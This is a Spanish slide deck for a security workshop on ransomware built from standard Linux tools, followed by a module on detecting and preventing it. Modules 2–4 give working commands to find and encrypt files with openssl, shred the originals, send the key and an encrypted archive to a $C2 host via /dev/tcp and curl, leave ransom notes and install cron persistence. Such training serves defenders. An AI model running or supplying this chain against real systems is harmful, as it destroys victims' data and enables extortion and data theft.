---
title: "Que coman tierra"
subtitle: "De LOLBINs a ransomware"
author: "Alignment Security"
date: 2026
theme: moon
highlight-style: monokai
---

# Que coman tierra {.center}

**De LOLBINs a ransomware**

*Taller de seguridad ofensiva y defensiva*

---

## El escenario

> "Comer tierra" es lo que sientes cuando descubres que un atacante cifró tus servidores **sin instalar nada.**

- Sin malware en disco
- Sin firma que detectar
- Sin alerta del antivirus

**¿Cómo es eso posible?**

---

# Módulo 1 {.center}

## El problema invisible

---

## ¿Qué son los LOLBins?

**Living Off the Land Binaries**

Herramientas legítimas del sistema operativo usadas con fines maliciosos.

- Ya están instaladas
- Son de confianza para el OS
- Los antivirus no las bloquean
- Los logs las registran como actividad "normal"

---

## ¿Por qué los antivirus no los detienen?

Los AV buscan **firmas**: patrones de código malicioso conocido.

`openssl`, `find`, `xargs`, `shred`... son binarios firmados, legítimos, cotidianos.

No hay nada que detectar.

---

## Casos reales

- **NotPetya (2017):** usó `wmic` y `psexec` para propagación lateral
- **Living off the Land attacks:** el 62% de los ataques modernos usan LOLBins (CrowdStrike, 2023)
- **Ransomware-as-a-Service:** los kits más sofisticados evitan dropper ejecutables

**La pregunta incómoda: ¿qué tan fácil es replicarlo?**

---

# Módulo 2 {.center}

## El arsenal del sistema

---

## Lo que ya tienes instalado

| Herramienta | Para qué lo usa un atacante |
|---|---|
| `openssl` | Cifrado AES-256 |
| `find` | Mapear archivos objetivo |
| `xargs` | Paralelizar el ataque |
| `shred` | Destruir los originales |
| `cron` | Persistencia |
| `curl` | Exfiltrar la clave |

*Ninguno de estos necesita instalación.*

---

## find: el reconocimiento

```bash
# Mapear todos los archivos de valor
find / -type f -writable \
  \( -name "*.txt" -o -name "*.pdf" \
     -o -name "*.docx" -o -name "*.db" \) \
  -print0 > /tmp/.targets
```

Rápido. Silencioso. Está en cualquier Linux.

---

## xargs: el multiplicador de fuerza

`find` localiza. `xargs` paraleliza.

```bash
# Secuencial - un archivo a la vez
while IFS= read -r f; do
  openssl enc -aes-256-cbc -in "$f" -out "${f}.enc"
done < /tmp/.targets

# Paralelo - todos los cores, al mismo tiempo
find /home/victim -type f -writable -print0 \
  | xargs -0 -P $(nproc) -I{} \
    openssl enc -aes-256-cbc -pbkdf2 \
    -pass file:/tmp/.key -in {} -out {}.enc
```

`-P $(nproc)` = un proceso por core. En 16 cores: **miles de archivos en segundos.**

---

## tar | openssl: un proceso para cifrar todo

`xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**.

```bash
# todos los archivos -> un stream -> un blob cifrado
printf '%s\0' "${TARGETS[@]}" \
  | tar --null -T - -czf - \
  | openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
  > /tmp/.vault.enc

# eliminar originales en batch
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
```

desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más.

---

## y encima se lleva el vault

no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas.

```bash
# clave al C2 por tcp/9090
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
  "$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090

# vault cifrado al C2 por tcp/9091
{ printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \
    "$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)"
  cat /tmp/.vault.enc
} > /dev/tcp/"$C2"/9091
```

aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada.

---

## La ventana de detección se cierra

Benchmark real, root, servidor, `xargs -P 36`:

| Fase | Tiempo |
|---|---|
| Reconocimiento de dirs escribibles | < 1s |
| Reconocimiento de archivos objetivo | < 1s |
| **Cifrado + shred (xargs -P 36)** | **1m 49s** |
| Notas de rescate en todos los dirs | < 1s |

Un backup en tiempo real típico tiene una ventana de **5 minutos**. El atacante termina antes.

---

# Módulo 3 {.center}

## Anatomía de un ataque

---

## Las 7 fases

1. **Reconocimiento** - `find -writable` mapea objetivos
2. **Generación de clave** - `openssl rand` crea clave efímera
3. **Cifrado paralelo** - `find | xargs -P` cifra todo
4. **Destrucción** - `shred -u` elimina los originales
5. **Exfiltración** - `curl` envía la clave al atacante
6. **Rescate** - `echo` / `wall` notifica a la víctima
7. **Persistencia** - `cron` re-cifra lo que se recupere

---

## Generación de clave

```bash
# Clave AES-256 efímera - 32 bytes aleatorios
KEY=$(openssl rand -hex 32)
```

La clave **nunca toca disco en claro** si se exfiltra inmediatamente.

Sin clave = sin recuperación.

---

## Cifrado + destrucción

```bash
printf '%s\0' "${TARGETS[@]}" \
  | xargs -0 -P $(nproc) -I% sh -c \
    'openssl enc -aes-256-cbc -pbkdf2 \
       -pass pass:$KEY -in "$1" -out "$1.enc" \
     && shred -u "$1"' _ %
```

`shred` sobreescribe el archivo **varias veces** antes de borrarlo. No hay recuperación forense.

---

## Exfiltración de clave

```bash
curl -sk "https://$C2/?k=$KEY&v=$(curl -s4 ifconfig.me)"
```

Una sola petición HTTPS saliente. Difícil de distinguir de tráfico legítimo.

Una vez enviada: **la víctima no puede descifrar sin pagar.**

---

## Persistencia

```bash
(crontab -l 2>/dev/null; echo \
  "*/5 * * * * find /home -type f -writable \
   -newer /tmp/.key -print0 \
   | xargs -0 -P 4 -I{} \
     openssl enc -aes-256-cbc -pbkdf2 \
     -pass pass:$KEY -in {} -out {}.enc") \
| crontab -
```

Cada 5 minutos: cualquier archivo nuevo que aparezca, cifrado.

---

# Módulo 4 {.center}

## Lab: "Preparando el plato"

---

## Entorno del lab

- VM Ubuntu/Debian **aislada** (sin red real)
- Usuario no-root con home poblado de archivos de prueba
- Snapshot limpio listo para restaurar entre ejercicios
- **Nunca ejecutar fuera de esta VM**

---

## Ejercicio 1: Reconocimiento

```bash
find /home/victim -type f -writable \
  \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) \
  > /tmp/.targets

wc -l /tmp/.targets
```

**¿Cuántos archivos encontraste? ¿En cuánto tiempo?**

---

## Ejercicio 2: Generar clave

```bash
openssl rand -base64 32 > /tmp/.key
cat /tmp/.key
```

Esta es la clave que "el atacante" se lleva. Sin ella, no hay descifrado.

---

## Ejercicio 3: Sentir la diferencia

Primero mide la versión lenta:

```bash
time while IFS= read -r f; do
  openssl enc -aes-256-cbc -pbkdf2 \
    -in "$f" -out "${f}.enc" -pass file:/tmp/.key
  shred -u "$f"
done < /tmp/.targets
```

Luego restaura el snapshot y mide la versión real:

```bash
time find /home/victim -type f -writable -print0 \
  | xargs -0 -P $(nproc) -I{} sh -c \
    'openssl enc -aes-256-cbc -pbkdf2 \
       -pass file:/tmp/.key -in "$1" -out "$1.enc" \
     && shred -u "$1"' _ {}
```

---

## Ejercicio 3: La pregunta clave

| Métrica | `while` loop | `xargs -P 36` | `tar \| openssl` |
|---|---|---|---|
| Tiempo total | **13m 40s** | **1m 49s** | **4.5s** |
| Archivos | **3.301** | **3.301** | **3.470** |
| Archivos/segundo | **~4 arch/s** | **~30 arch/s** | **~771 arch/s** |
| Speedup | baseline | 7.5x | **182x** |
| Output | 3.301 `.enc` | 3.301 `.enc` | 1 blob (29 MB) |
| Ventana de detección | 13 min | < 2 min | **< 10 segundos** |

**¿En qué momento hubiera sido posible interrumpirlo?**

- `while` loop: tienes **13 minutos**, hay tiempo de detectar el spike de I/O y actuar
- `xargs -P 36`: tienes **< 2 minutos**, necesitas detección automática, no humana
- `tar | openssl`: tienes **< 5 segundos**, cuando llegas ya terminó

Con `tarbulk`: el único momento de intervención real es **antes** de que empiece, no durante.

---

## Ejercicio 4: tarbulk en acción

restaura el snapshot y ejecuta la variante `tar | openssl`:

```bash
KEY=$(openssl rand -hex 32)
mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0)

time printf '%s\0' "${TARGETS[@]}" \
  | tar --null -T - -czf - \
  | openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
  > /tmp/.vault.enc

printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
```

en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'`

**¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?**

---

## Ejercicio 5: Nota de rescate

```bash
find / -type d -writable -print0 \
  | xargs -0 -I% sh -c \
    'echo "Tus archivos han sido cifrados.
Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'

wall /home/victim/LEEME_URGENTE.txt
```

---

## Ejercicio 6: Persistencia

```bash
(crontab -l 2>/dev/null; echo \
  "*/5 * * * * find /home/victim -name '*.txt' \
   -newer /tmp/.key -print0 \
   | xargs -0 -P 4 -I{} \
     openssl enc -aes-256-cbc -pbkdf2 \
     -pass file:/tmp/.key -in {} -out {}.enc") \
| crontab -
```

Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?

---

## Ejercicio 7: Forense post-ataque

```bash
# ¿Qué quedó en auth.log?
grep -E "openssl|shred|xargs" /var/log/syslog

# ¿Qué procesos corrieron?
last
journalctl --since "30 minutes ago" | grep -E "openssl|shred"

# ¿Qué modificó crontab?
cat /var/spool/cron/crontabs/$(whoami)
```

**¿Hubo alguna señal detectable en tiempo real?**

---

# Módulo 5 {.center}

## Defensa: cómo no comer tierra

---

## El principio

> Si entendiste el ataque, entiendes dónde poner los controles.

Cada fase del ataque tiene un control defensivo correspondiente.

---

## Detección: auditd

```bash
# Instalar
apt install auditd

# Vigilar llamadas masivas a openssl
auditctl -w /usr/bin/openssl -p x -k crypto_exec

# Vigilar modificaciones a crontab
auditctl -w /var/spool/cron -p wa -k crontab_mod

# Ver alertas
ausearch -k crypto_exec | tail -20
```

Un spike de 500 procesos `openssl` en 10 segundos **es una alerta real.**

---

## Detección: comportamiento, no firma

Lo que hay que buscar:

- `openssl` lanzado por un proceso no esperado
- `xargs` con `-P` alto y muchos forks en poco tiempo
- `shred` ejecutado sobre extensiones de documento
- Escritura masiva de archivos `.enc` en directorios de usuario
- Modificación de `crontab` fuera de ventanas de mantenimiento

---

## Detección comportamental: Falco

**Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida.

- Sin agente en userspace frágil
- Reglas en YAML, legibles por humanos
- Se integra con cualquier SIEM vía Falcosidekick

---

## Instalar Falco: Debian / Ubuntu

```bash
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
  | sudo gpg --dearmor \
  -o /usr/share/keyrings/falco-archive-keyring.gpg

echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
  https://download.falco.org/packages/deb stable main" \
  | sudo tee -a /etc/apt/sources.list.d/falcosecurity.list

sudo apt-get update
sudo apt-get install -y apt-transport-https dialog
sudo apt-get install -y falco
```

---

## Instalar Falco: RHEL / Rocky / Fedora

```bash
sudo rpm --import \
  https://falco.org/repo/falcosecurity-packages.asc

sudo curl -o /etc/yum.repos.d/falcosecurity.repo \
  https://falco.org/repo/falcosecurity-rpm.repo

sudo yum update -y
sudo yum install -y dialog
sudo yum install -y falco
```

---

## Desplegar las reglas QueComanTierra

```bash
# Clonar el repositorio del taller
git clone https://git.resacachile.cl/anti/workshops /opt/workshops

# Copiar reglas al directorio de Falco
cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \
   /etc/falco/rules.d/tarssl.yaml

# Recargar todos los servicios de Falco
systemctl restart falco-* --all
```

Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base.

---

## Verificar que las reglas están activas

```bash
# Ver reglas cargadas
falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted"

# Ver logs en tiempo real
journalctl -fu falco

# Probar: lanzar openssl enc desde bash
echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2
# → Debe aparecer WARNING en journalctl
```

---

## Prevención: backups inmutables

```bash
# restic con repositorio de solo-escritura
restic -r s3:s3.amazonaws.com/mi-bucket backup /home

# ZFS snapshot automático cada hora
zfs snapshot tank/home@$(date +%Y%m%d-%H%M)

# S3 Object Lock - no se puede borrar aunque te roben las credenciales
aws s3api put-object-retention ...
```

El ransomware cifra lo que puede escribir. **No puede borrar un snapshot ZFS ni un Object Lock.**

---

## Prevención: mínimo privilegio

```bash
# Archivos críticos inmutables
chattr +i /etc/passwd /etc/shadow /etc/crontab

# AppArmor: openssl solo puede leer /tmp y /home/app
# /etc/apparmor.d/usr.bin.openssl
/usr/bin/openssl {
  /tmp/** rw,
  /home/app/** rw,
  deny /** w,
}
```

Un proceso que no puede escribir fuera de su directorio **no puede cifrar el sistema.**

---

## Respuesta: el runbook

1. **Aislar** - desconectar de red, no apagar (la clave puede estar en RAM)
2. **Preservar** - dump de memoria con `avml` antes de cualquier acción
3. **Identificar** - ¿la clave fue exfiltrada? revisar logs de red
4. **Contener** - revocar credenciales, limpiar crontabs
5. **Recuperar** - restaurar desde snapshot inmutable más reciente
6. **Post-mortem** - ¿qué control hubiera parado esto?

---

# Módulo 6 {.center}

## Cierre

---

## Lo que aprendiste hoy

- Los LOLBins convierten el sistema en su propio enemigo
- `xargs -P` es la diferencia entre minutos y segundos
- El cifrado AES-256 con `openssl` es trivial desde la CLI
- La defensa efectiva requiere entender el ataque

---

## La lección real

> La mejor defensa es saber exactamente cómo te van a atacar.

Un blue teamer que nunca ha ejecutado un ataque **no sabe qué está buscando.**

---

## Recursos

- **GTFOBins** - catálogo de LOLBins y sus usos ofensivos
- **LOLBAS** - equivalente para Windows
- **MITRE ATT&CK T1486** - Data Encrypted for Impact
- **auditd rules** - github.com/Neo23x0/auditd

**Tarea:** auditar tu propio entorno con `auditd`. ¿Qué encontraste?

---

## {.center}

*"Que coman tierra... pero los atacantes."*

**Preguntas**

---

## Compilar con pandoc

```bash
# PPTX con plantilla corporativa (recomendado)
pandoc slides.md -t pptx \
  --reference-doc="../../Red Team.pptx" \
  -o slides.pptx

# reveal.js (para presentar en browser)
pandoc slides.md -t revealjs -s \
  --highlight-style=monokai \
  -o slides.html
```
